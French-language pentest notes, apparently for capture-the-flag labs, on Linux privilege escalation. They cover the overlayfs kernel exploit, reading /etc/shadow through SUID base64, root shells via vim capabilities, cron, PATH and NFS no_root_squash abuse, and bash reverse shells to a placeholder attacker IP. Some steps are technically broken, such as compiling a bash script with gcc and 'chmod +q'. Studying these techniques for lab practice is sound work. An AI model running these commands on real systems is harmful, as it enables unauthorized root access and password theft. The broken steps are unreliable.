# Exploit

## 🔋 kernel

{% hint style="info" %}
CVE-2015-1328 : Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
{% endhint %}

#### Sur la machine Attaquante

**Étape 1 : Télécharger l’exploit sur** [**exploitDB**](https://www.exploit-db.com/exploits/37292)

**Étape 2 : créer un serveur**

```python
python3 -m http.server 9000
```

#### Sur la machine Cible

```bash
cd /tmp                        # Aller dans le répertoire tmp
wget http://IP:port/37292.c    # Importe l'exploit
gcc 37292.c -o exploit         # Pour le compiler
./exploit                      # Pour le lancer 
```

***

## 🛠️ SUID avec le fichier base 64

#### Étape 1 : Identification des Fichiers avec SUID

Utilisons la commande suivante pour trouver des fichiers avec des bits SUID sur le système :

```bash
find / -type f -perm -04000 -ls 2>/dev/null
```

Cette commande recherche tous les fichiers (`-type f`) avec des bits SUID (`-perm -04000`) et affiche les résultats de manière détaillée (`-ls`). Les erreurs sont redirigées vers `/dev/null`.

#### Étape 2 : Utilisation du Fichier /usr/bin/base64

A l’aide de la commande précedente, nous observons le fichier `/usr/bin/base64`. Utilisons GTFOBins pour rechercher des techniques d'exploitation avec le filtre SUID.

```bash
LFILE=/etc/shadow
/usr/bin/base64 "$LFILE" | base64 --decode
```

Cette méthode recommandée sur GTFOBins utilise `base64` pour lire et décoder le contenu du fichier spécifié (`/etc/shadow`). Nous obtenons ainsi un hash.

#### Étape 3 : Déchiffrement du Hash avec John

Utilisons John the Ripper pour déchiffrer le hash obtenu. Assurez-vous d'avoir le fichier wordlist approprié, par exemple `/usr/share/wordlists/rockyou.txt`.

```bash
nano $hash
john --wordlist=/usr/share/wordlists/rockyou.txt "$hash"
john $hash --show
```

Cela tente de déchiffrer le hash en utilisant une attaque par dictionnaire avec le mot de passe contenu dans `rockyou.txt`.

#### Étape 4 : Connexion avec l'Utilisateur2

Connectons-nous à l'utilisateur2 avec le mot de passe obtenu après le déchiffrement.

#### Étape 5 : Gestion des Permissions sur /home/ubuntu/flag3.txt

Observons que l'accès à `/home/ubuntu/flag3.txt` n'est pas autorisé. Utilisons `base64` pour lire et décoder le contenu du fichier.

```bash
LFILE=/home/ubuntu/flag3.txt
/usr/bin/base64 "$LFILE" | base64 --decode
```

Ces commandes permettent de contourner les permissions en utilisant les droits SUID sur `base64` pour accéder aux fichiers sensibles.

***

## 💡 Capabilités

Les "capacités" sont un mécanisme de sécurité qui permet à des programmes spécifiques d'exécuter des opérations restreintes généralement réservées à des processus avec des privilèges élevés (comme l'utilisateur root).

#### Étape 1 : Identifier les Capabilités

Utilisons la commande suivante pour identifier les capabilités associées aux fichiers du système :

```bash
getcap -r / 2>/dev/null
```

Cette commande recherche récursivement (`-r`) toutes les capabilités sur le système de fichiers à partir du répertoire racine ("/"). Les erreurs sont redirigées vers `/dev/null`.

La sortie pourrait ressembler à ceci :

```bash
/home/user/vim = cap_setuid+ep
/home/user/view = cap_setuid+ep
```

#### Étape 2 : Exploration avec GTFOBins

Choisissons un fichier avec des capabilités, par exemple `/home/user/vim` ou `/home/user/view`. Utilisons GTFOBins pour rechercher des techniques d'exploitation avec le filtre de capabilités.

```bash
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

Cette commande utilise les capabilités de `view` pour exécuter du code Python (`:py`) qui définira l'UID sur 0 (root) et exécutera un shell interactif.

#### Étape 3 : Modification pour Python 3

Certaines versions peuvent nécessiter l'utilisation de Python 3. Modifions la commande en conséquence :

```bash
./view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

Cette version utilise Python 3 (`:py3`) pour la même tâche.

#### Étape 4 : Exécution de la Commande

Tapez la commande modifiée dans l'invite de commande et observez les résultats. Assurez-vous d'avoir compris chaque étape du processus et agissez toujours de manière éthique et légale lors de l'exploration des fonctionnalités de sécurité.

***

## 📀 Crontab&#x20;

### 📚 Definition

Les tâches cron (crontabs) sont des procédures automatisées planifiées sur les systèmes Unix/Linux pour s'exécuter à des intervalles spécifiques. Chaque utilisateur peut avoir son propre fichier crontab, et il existe également un fichier système `/etc/crontab` qui contient des tâches planifiées pour les utilisateurs système.

Pour afficher les tâches cron d'un utilisateur, utilisez la commande :

```bash
crontab -l
```

La syntaxe générale d'une entrée crontab est la suivante :

```
# Minute   Heure   Jour du mois   Mois   Jour de la semaine   Commande
```

Par exemple, l'entrée suivante exécute une commande toutes les heures :

```
0 * * * * commande
```

### 📮 **Privesc via Crontab**

Pour afficher les tâches cron, utilisez la commande suivante :

```bash
cat /etc/crontab
```

**Trouver des Scripts Exécutés :** Vérifiez les scripts exécutés par les tâches cron. Souvent, ces scripts peuvent être modifiés pour inclure des commandes malveillantes.

Dans cette configuration, nous observons l'exécution du script `/home/user/backup.sh`.

Pour le modifier à l'aide d'un reverse shell, utilisez :

```bash
nano backup.sh
```

Puis ajoutez la ligne suivante pour établir un reverse shell :

```bash
bash -i >& /dev/tcp/IP_attaquante/port 0>&1
```

Pour établir un reverse shell ans un fichier :

```bash
echo "bash -i >& /dev/tcp/IP_attaquante/port 0>&1" > /etc/fichier
```

Appuyez sur `Ctrl + X`, puis sur `Y`, et appuyez sur `Entrée` pour sortir.

Accordez les droits d'exécution au fichier pour l'utilisateur :

```bash
chmod +x backup.sh
```

En parallèle, sur la machine attaquante, exécutez la commande suivante pour écouter les connexions entrantes :

```bash
nc -lvnp port
```

Ensuite, récupérez le hash d'un utilisateur à partir du fichier `/etc/shadow`.

```bash
cat /etc/shadow
```

Copiez le hash d'un utilisateur dans un fichier, puis utilisez l'outil John pour casser le mot de passe:

```bash
john hash --show
```

***

## 🔐 PATH

Dans un système Linux, la variable d'environnement PATH indique où le système doit rechercher les exécutables lorsqu'une commande est saisie. Cette vulnérabilité peut être exploitée si un dossier accessible en écriture par l'utilisateur est inclus dans le PATH.

**Étapes de l'exploitation :**

```bash
# Vérifier les dossiers sous $PATH
echo $PATH

# Modifier la variable $PATH
export PATH=/tmp:$PATH

# Créer un script malveillant (shell) dans /tmp
echo -e "#!/bin/bash\\n/bin/bash -i > /dev/tcp/IP_attaquante/port 0>&1" > /tmp/shell.c

# Compiler le script en exécutable
gcc /tmp/shell.c -o /tmp/shell

# Définir le bit SUID sur le script
chmod +s /tmp/shell
# Donner des droits exécutables au script
chmod +x /tmp/shell

# Exécuter le script
cd /tmp
./shell
```

***

## 📎Montage NFS

Le **NFS** (Network File System) est un protocole permettant de partager des fichiers entre des systèmes UNIX via le réseau. Ce tutoriel explique comment monter un partage NFS sur un système Linux.

#### Étape 1: Vérifier les exports NFS sur le serveur (sur la cible)

Utilisez la commande `cat` pour afficher les configurations d'exports NFS sur le serveur.

```bash
cat /etc/exports
```

Assurez-vous que le fichier `/etc/exports` permet des permissions en écriture (`rw`) et que l'option `no_root_squash` est utilisée si nécessaire. Si l'option « no\_root\_squash » est présente sur un partage inscriptible, nous pouvons créer un exécutable avec le bit SUID défini et l'exécuter sur le système cible. Dans notre cas, le chemin contenant `no_root_squash` est /home/user/share.

#### Étape 2: Vérifier les partages NFS exposés par le serveur (sur l’attaquant)

Utilisez la commande `showmount` pour afficher les partages NFS exposés par le serveur.

```bash
showmount -e IP_CIBLE
```

#### Étape 3: Monter le répertoire distant localement (sur l’attaquant)

Créez un répertoire local pour monter le partage NFS.

```bash
mkdir /mnt/jrpentest
```

Montez le répertoire distant dans le répertoire local.

```bash
mount -o rw IP_serveur_NFS:/home/ubuntu/sharedfolder /mnt/jrpentest
```

#### Étape 4: Vérifier les permissions du répertoire monté

```bash
# sur l'attaquant
ls -la /mnt/jrpentest

# sur la cible
ls -la  /home/user/share
```

#### Étape 5: Créer un fichier malveillant dans le répertoire monté

Si les fichiers sur le serveur ont des permissions en écriture (`rw`) et que `no_root_squash` est utilisé, vous pouvez créer un fichier malveillant dans le répertoire monté.

```bash
cd mnt/jrpentest
nano code.c

"#!/bin/bash\\n/bin/bash -i > /dev/tcp/IP_attaquante/port 0>&1"

# compiler
gcc code.c -o code
```

Normalement, le code généré ici est partagé sur la cible dans le dossier /home/user/share.

#### Étape 6: Donner des droits exécutables au script

Si nécessaire, donnez des droits exécutables au script.

```bash
# sur l'attaquant
cd /mnt/jrpentest/
chmod +x code
chmod +q code

# sur la cible
cd /home/user/share
chmod +x code
```

#### Étape 7: Exécuter le script à distance en utilisant le chemin NFS (sur la cible)

Vous pouvez maintenant exécuter le script à distance à partir du serveur NFS en utilisant le chemin NFS.

```bash
cd /home/user/share

./code
```